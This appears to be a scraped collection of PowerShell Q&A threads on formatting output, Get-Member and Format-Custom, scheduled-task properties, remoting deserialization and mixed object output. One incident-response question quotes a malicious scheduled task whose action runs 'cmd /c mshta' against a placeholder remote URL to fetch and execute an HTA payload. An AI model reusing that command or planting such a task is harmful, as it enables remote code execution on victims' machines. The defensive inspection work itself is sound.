For example, looking at a processes threads shows something like this:
PS C:\> (Get-Process)[0] | Format-List -Property Threads
Threads : {1548, 1600, 15940, 13996}
But if you actually grab that property directly, it looks like this:
PS C:\> (Get-Process)[0].Threads
BasePriority : 8
CurrentPriority : 9
Id : 1548
IdealProcessor :
PriorityBoostEnabled :
PriorityLevel :
PrivilegedProcessorTime :
StartAddress : 8790537024736
StartTime :
ThreadState : Wait
TotalProcessorTime :
UserProcessorTime :
WaitReason : UserRequest
ProcessorAffinity :
Site :
Container :
BasePriority : 8
... etc
Format list obviously has a method to summarize objects intelligently. It took a list of objects, pulled out a representative property from each one, and displayed it as a short array. I cannot find a method or cmdlet that allows me to summarize an collection of objects in the same manner.
I want to be able to pass an arbitrary collection of objects to a method and have it summarize. This is used when listing email addresses in Exchange objects, listing groups in AD objects, and many other places... I doubt these are all special cases.
To expand (after learning more from #JoelSmith's comments):
.NET Objects have formatting definitions that are used by Powershell when formatting output. Additional details are available using help about_Format.ps1xml[1]. These definitions are generic and can be accessed by any command, but by default there are no functions in Powershell to directly retrieve the output of an object property directly as it would be displayed in Format-List.
One hackish workaround is to split and strip the output like so:
(Get-Mailbox user | Format-List -Property Languages | Out-String).Split(':')[1].Trim()
# => {en-US,fr-CA}
However this method is extremely fragile, and will fail when the output spans multiple lines or contains a colon in the output:
(Get-Mailbox user | Format-List -Property EmailAddresses | Out-String).Split(':')[1].Trim()
# => {smtp
What is needed is a method that reads the formatting definition defined for the object and retrieves it directly, then use it to output the desired string. I have failed to find any example online.
You can use the
PSStandardMembers.DefaultDisplayProperty
and
PSStandardMembers.DefaultDisplayPropertySet
properties of your objects to determine the default properties that should be displayed for each type. You can read more about it here. We've run into a similar problem recently in our like PowerShell project. You can find this discussion we've had helpful. There are some subtle differences between PS v2 and v3 which we debate on that thread.
Usually .ToString() works but sometimes they forget to implement that method.
(Get-Process)[0] | %{$_.Threads.Id}
EDIT: to answer your comment below
(Get-Process)[0] | Format-List -Property Threads | Out-String
Unfortunately not all cmdlets are the same.
Are you looking for something like this?
(Get-Process)[0].Threads | Format-Table -Property ID -AutoSize
Id
--
13060
13064
13068
13072
13076
13080
13084
This needs to be customized for each cmdlet depending on what the output is and what fields you need. The reason it doesn't work with just (Get-Process)[0] | Format-Table -Property Threads -AutoSize is because Threads returns thread-objects, and an array of objects are displayed like your first sample (string-presentation of your objects in a collection { .. }) .
Here's what I can tell so far:
The Id property is the default display property for a thread object (System.Diagnostics.ProcessThread).
I couldn't find any tracks of this in any of PowerShell's type files but I can change the way Format-* display threads (requires PowerShell 3.0).
By default the format cmdlets prints the Id value of each thread object:
Threads : {1548, 1600, 15940, 13996}
Formatting cmdlets checks the value of the $FormatEnumerationLimit variable (default is 4) to decide how to format the object.
If the result is one object (scalar) only it will print as:
Threads : 1548
If it's a collection of items and the collection count is up to the value of $FormatEnumerationLimit (4) it will display as:
Threads : {1548, 1600, 15940, 13996}
A count greater than $FormatEnumerationLimit will look like (... indicates that there are more objects):
Threads : {1548, 1600, 15940, 13996...}
I can tell Id is the default property in use because I can change it to another property and see its value reflecting in the output.
For example, Here I'm setting the ThreadState as the default display property:
PS> Update-TypeData -TypeName System.Diagnostics.ProcessThread -DefaultDisplayProperty ThreadState -Force
PS> (Get-Process)[0] | Format-List -Property Threads
Threads : {Wait, Wait, Wait, Wait...}
# revert back
PS> Update-TypeData -TypeName System.Diagnostics.ProcessThread -DefaultDisplayProperty Id -Force
Hope that helps
Related
I'm trying hard to learn PowerShell on my own and I'm asking this question after searching a lot on the Internet.
Get-ScheduledTask | Get-Member
The above command shows me the Properties and Methods. Now I want to further drill down into "Actions" but the maximum I'm able to is,
Get-ScheduledTask | Get-Member -Name Actions
Name MemberType Definition
---- ---------- ----------
Actions Property CimInstance#InstanceArray Actions {get;set;}
Ideally, if I want to peek into "Actions" I have to do this,
Get-ScheduledTask -TaskName "WindowsShellUpdate" | Select -ExpandProperty Actions
Id :
Arguments : /c mshta http://xx.xx.xx.xx/win/update.hta
Execute : C:\Windows\System32\cmd.exe
WorkingDirectory :
PSComputerName :
Side note, I do IR. And I'm building a script to very carefully automate the removal of bad Tasks.
:(
Get-Member performs reflection: its reports information about .NET types (classes) and their members (properties, methods, events, delegates) in the abstract.
This means that property values of the given instance of a type in the input are not included.
Also, Get-Member is not recursive: it only lists the member definitions of the type itself, not also the members' members.
As such, if the intent was to see the members of the types of the elements of the collection of type CimInstance#InstanceArray contained in the .Actions property, use the command suggested by zett42:
# Get information about the type [of the elements] stored in the .Actions property.
(Get-ScheduledTask).Actions | Get-Member
Note:
Since sending a collection (array) through the pipeline enumerates it - i.e. sends its elements, one by one, providing a collection to Get-Member via the pipeline returns information about the distinct types of that collection's elements.
To inspect a collection type itself, you must pass it to the InputObject parameter:
# Get information about the *collection type* stored in the .Actions property.
Get-Member -InputObject (Get-ScheduledTask).Actions
However, there is an - informal[1] - way to get a recursive representation of the structure of any given object instance, which even includes property values, namely via the Format-Custom cmdlet:
# See sample output below
Get-ScheduledTask | Select-Object -First 1 | Format-Custom
Note:
The recursion depth is limited to 5 by default, but you can increase or decrease it via the -Depth parameter.
As you can see below, the output from a deeply nested object can be lengthy.
Collection property values are enumerated up to 4 elements by default, but you can change that via the $FormatEnumerationLimit preference variable - see this answer for details.
Output of the above command (excerpt):
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_ScheduledTask
{
Actions =
[
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskExecAction
{
Id =
Arguments = --scheduledautoupdate $(Arg0)
Execute = C:\Users\jdoe\AppData\Local\Programs\Opera\launcher.exe
WorkingDirectory =
PSComputerName =
}
]
Author = MKW10\jdoe
Date =
Description = Keeps Opera up to date.
Documentation =
Principal =
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskPrincipal2
{
DisplayName =
GroupId =
Id = Author
LogonType = Interactive
RunLevel = Highest
UserId = jdoe
ProcessTokenSidType = Default
RequiredPrivilege =
PSComputerName =
}
...
[1] As with all Format-* cmdlets, Format-Custom outputs a rich string representation for the human observer, not for programmatic processing.
Actions is just a collection of another object extracted from WMI (CimInstance). When you define a Scheduled Task with PowerShell, you can in order:
Define a Principal: New-ScheduledTaskPrincipal
Define Task settings: New-ScheduledTaskSettingsSet
Define some Triggers: New-ScheduledTaskTrigger
Define some Actions: New-ScheduledTaskAction
Then create a task with these parameters:
New-ScheduledTask
And finally register the task:
Register-ScheduledTask
There are some advanced properties that may be accessible, by example on triggers of a task that can only be set once the task is created.
(Get-ScheduledTask)[0].Triggers[0].Repetition.Duration and then once defined you update the task with Set-ScheduledTask
All these cmdlets just hide the complexity of WMI class instances.
When I run the following code in Exchange PowerShell on an Exchange server it shows all the properties:
PS> Get-Mailbox Testeria | select -ExpandProperty EmailAddresses
SmtpAddress : Tester_IA#contoso.com
AddressString : Tester_IA#contoso.com
ProxyAddressString : smtp:Tester_IA#contoso.com
Prefix : SMTP
IsPrimaryAddress : False
PrefixString : smtp
SmtpAddress : TesterIA#contoso.com
AddressString : TesterIA#contoso.com
ProxyAddressString : SMTP:TesterIA#contoso.com
Prefix : SMTP
IsPrimaryAddress : True
PrefixString : SMTP
SmtpAddress : TesterIA#outlook.contoso.com
AddressString : TesterIA#outlook.contoso.com
ProxyAddressString : smtp:TesterIA#outlook.contoso.com
Prefix : SMTP
IsPrimaryAddress : False
PrefixString : smtp
But when I try to use Remote PowerShell on the local machine via
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri ("http://" + $Server + "/PowerShell/") -Authentication Kerberos
Import-PSSession $Session
and run the same code it show only this:
PS> Get-Mailbox Testeria | select -ExpandProperty EmailAddresses
smtp:Tester_IA#contoso.com
SMTP:TesterIA#contoso.com
smtp:TesterIA#outlook.contoso.com
How to understand this behaviour? How to get all the properties via Remote PowerShell?
PSVersion on the local machine is 5.1.14409.1005
PSVersion on the Exchange Server is 4.0
This probably occurs because when you access objects via PSRemoting the results are deserialized. You can see this is the case by looking at the TypeName of the resulting object by pipling it to Get-Member. You will see Deserialized prefixed to the Type:
Objects that have the "Deserialized." prefix in their type names are property bags that contain a deserialized representation of public
properties of the corresponding remote, live objects. As you can see
in the output of Get-Member those property bags don’t expose any
methods except ToString(), because usually methods cannot be invoked
in the remote session (for example, System.Diagnostics.Process.Kill()
can’t act on a remote process). Similarly setting and getting property
values of the property bags doesn’t execute any code (for example
WorkingSet property of
Deserialized.System.Diagnostics.Process.WorkingSet is only a snapshot
and doesn’t get updated when the remote process uses more memory).
https://blogs.msdn.microsoft.com/powershell/2010/01/07/how-objects-are-sent-to-and-from-remote-sessions/
My assumption is that the EmailAddresses property is a Script Property, which means it executes a script when called to get its sub properties. When you retrieve the object via Remoting you lose the ability to execute this script.
Unfortunately I don't have an Exchange system to verify this on at the moment.
Mark Wragg's answer provides helpful pointers, but let me elaborate:
Objects transmitted via PowerShell's remoting infrastructure undergo XML-based serialization at the remote source, and deserialization on receipt by the caller.
With the exception of a select few well-known types, type fidelity is lost during serialization / deserialization, and the deserialized objects are emulations of the original objects, as indicated by the Deserialized. prefix in their type name (as you can see by accessing .pstypenames[0] on a deserialized instance of by piping it to Get-Member); specifically, the limitation of these emulations - beyond not having the same type identity as the originals - are:
Deserialized objects lack the methods of the original.
For nested (scalar) objects (objects composed of multiple properties whose values too are objects composed of multiple properties, ...), the object graph is limited to a depth of 1.
In practice, this means that instances of non-well-known (scalar) types serialize such that property values that aren't themselves instances of well-known types are replaced by their .ToString() representations.
See this answer for a more comprehensive overview of serialization as part of PowerShell's remoting infrastructure.
Applied to your case:
Via remoting, the collection of rich email-object instances originally contained in the .EmailAddresses property of the objects returned by the Get-MailBox cmdlet is converted to a collection of strings, by calling .ToString() on each email-object instance, which seemingly returns the .ProxyAddressString property value.
Example:
For simplicity, the following demonstrates the recursion-depth (stringification) problem via a local background job created with Start-Job call (background jobs also use PowerShell's remoting infrastructure):
PS> Start-Job {
# Define a custom class, which is by definition not a well-known type.
# Give it a property of another non-well-known type, [regex].
class Foo { $Bar = [regex] 'hi' }
# Output an instance of the custom class.
[Foo]::new()
} | Receive-Job -Wait -AutoRemove |
ForEach-Object {
$_.Bar # Output the .Bar property value...
$_.Bar.GetType().FullName # ... and its data type.
}
hi
System.String
As you can see, the [regex] instance stored in property .Bar was replaced by its .ToString() representation.
As per the subject, I'm trying to get the name of a property and the value assocaited with that property, for a specific mailbox.
So, the line below gets me a nice list of the available object properties, and a default column displayed in the output has the heading 'Name'
Get-Mailbox -Identity "Person Name" | gm
I then want to say something like:
For the object: "Mailbox of Person Name"
Where the property of "Mailbox of Person Name" has a name like 'quota'
List both the actual property name and it's value for "Mailbox of Person Name"
I've tried a number of things using -ExpandProperty/Select-Object/Where-Object but they're all failing. I'm sure this is pretty basic, but Powershell is definitely not my strength. Can anyone show me how to structure this pipeline correctly?
You do not need to use Where-Object, only Select-Object:
Get-Mailbox -Identity "Person Name" | Select-Object -Property *quota*
You seem to have used the correct commandlets. Where-Object filters. Select-Object selects specific properties.
From my experience, sometimes what you see on the console doesn't match the actual property name because there is a formatter that can even change the column name. If you you drive the Where-Object and Select-Object with that virtual property name then they do fail. Also sometimes, the output is not really a recordset that works well with these cmdlets.
My advice is to always check the type of an object when things go strange. Starting from $items=Get-Mailbox -Identity "Person Name".
Then $items.GetType() reveals the actual .net type.
Then $items.Count reveals if it is actually an array or a single object.
Then $items|ForEach-Object {$_.GetType()} reveals the type of each object.
Also the $items|Get-Member is very helpful to figure out the property names. If necessary use it also within your loop.
That is how I troubleshoot strange behaviors and if you can post your findings and the code you tried with Where-Object and Select-Object that would be a great help.
I'm trying to write a PowerShell script that will compare two variables, one containing a list of services currently running and the other a pre-defined list of ones that should to see the differences.
I want to display the differences whilst also displaying the current services running.
$compared = Compare-Object $spServices $spServices23 -SyncWindow 0
Write-Output $compared
if($sTask -eq "Read")
{
foreach ($spService in $spServices)
{
$out = new-object psobject
$out | add-member noteproperty TypeName $spService.TypeName
$out | add-member noteproperty Status $spService.Status
Write-Output $out
}
}
However, when I output the Compare-Object results it shows them but then comes up blank for the output of the $out variable.
Any help on how I can do this whilst keeping the output formatted.
PowerShell ALWAYS does its best to try to make sure it converts output into the most useful format. One of the ways it does this is by seeing the type of object that it is first displaying in a function, and ensuring that all future objects also match this format. Sometimes it's possible, and sometimes it's not.
In the case of your code, PowerShell executes and then tries to emit the results of Compare-Object, and succeeds. 'Compare-Object' emits an object that has these properties.
Name MemberType Definition
---- ---------- ----------
Equals Method bool Equals(System.Object obj)
GetHashCode Method int GetHashCode()
GetType Method type GetType()
ToString Method string ToString()
InputObject NoteProperty System.ServiceProcess.ServiceController InputObject=AdobeARMservice
SideIndicator NoteProperty string SideIndicator==>
These properties set the stage for what can also be emitted within this command, unless you do some fancy tricks. The reason you're not seeing the output of your later commands is that they don't also output the same properties.
To illustrate this quirk in action, see this code:
function Ham2{
[pscustomobject]#{Name='FoxDeploy';Job="Coder"}
[pscustomobject]#{Name='Ham';Profession="Coder"}
}
When this executes, the properties of the FIRST object emitted determine what gets displayed later on in the code. For example:
>ham2
Name Job
---- ---
FoxDeploy Coder
Ham
Working around this
There are a few ways to work around this.
First and foremost, a PowerShell best practice is that your scripts should ONLY emit one type of object. This is why functions have an .OUTPUT declaration available in their Help and [CmdletBinding()], PowerShell expects a command to issue only one type of object, plus maybe some -Verbose, or ErrorStream messages.
If you REALLY want to emit two types of objects, you could ensure that the first object has all of the properties you might ever want to display. Going back to my earlier example, if I added a Profession property to the first object, now my second object's Profession property will now become visible.
function Ham2{
[pscustomobject]#{Name='FoxDeploy';Job="Coder";Profession=''}
[pscustomobject]#{Name='Ham';Profession="Coder"}
}
PS C:\Users\Stephen> ham2
Name Job Profession
---- --- ----------
FoxDeploy Coder
Ham Coder
Probably what you want but not recommended
If you REALLY want to emit two or more different types of objects (which you surely don't, right?) then you can get around this quirk by using Format-List or Format-Table. Be warned: these convert the output into text formatting commands and you'll lose Object properties and people will generally think it was a hacky thing to do. But it will work.
function iFeelIcky{
$spservices = gsv AdobeARMservice,bits
$compared = Compare-Object (get-service bits,winrm) $spservices -SyncWindow 0
$compared | Format-Table
foreach ($spService in $spServices)
{
$out = new-object psobject
$out | add-member noteproperty DisplayName $spService.DisplayName
$out | add-member noteproperty Status $spService.Status
$out
}
}
C:\Users\Stephen> iFeelIcky
InputObject SideIndicator
----------- -------------
AdobeARMservice =>
bits <=
bits =>
winrm <=
DisplayName Status
----------- ------
Adobe Acrobat Update Service Running
Background Intelligent Transfer Service Running
}
I hope that helped! Let me know if you'd like me to dive deeper or for some reason want me to stay up on this soap box :-)
I use PowerShell to write a database exporter.
I have DataRows, serialized via Export-Clixml 'data.xml'. These DataRows have a column value.
I read the first row via $row = (Import-Clixml 'data.xml')[0].
If I check for it's Type, via $row.value -is [System.Management.Automation.PSCustomObject] I get True
If I use Get-Member on value, like $row.value | Get-Member, I get the Output
TypeName: Deserialized.System.DBNull
I kind of expected this to be System.Management.Automation.PSCustomObject.
Where does the type Get-Member shows me come from?
If you look at $row.value.PSObject.TypeNames you'll probably see that Deserialized.System.DBNull is the first in the list.
Also see this answer from Keith Hill and the MSDN on the TypeNames property.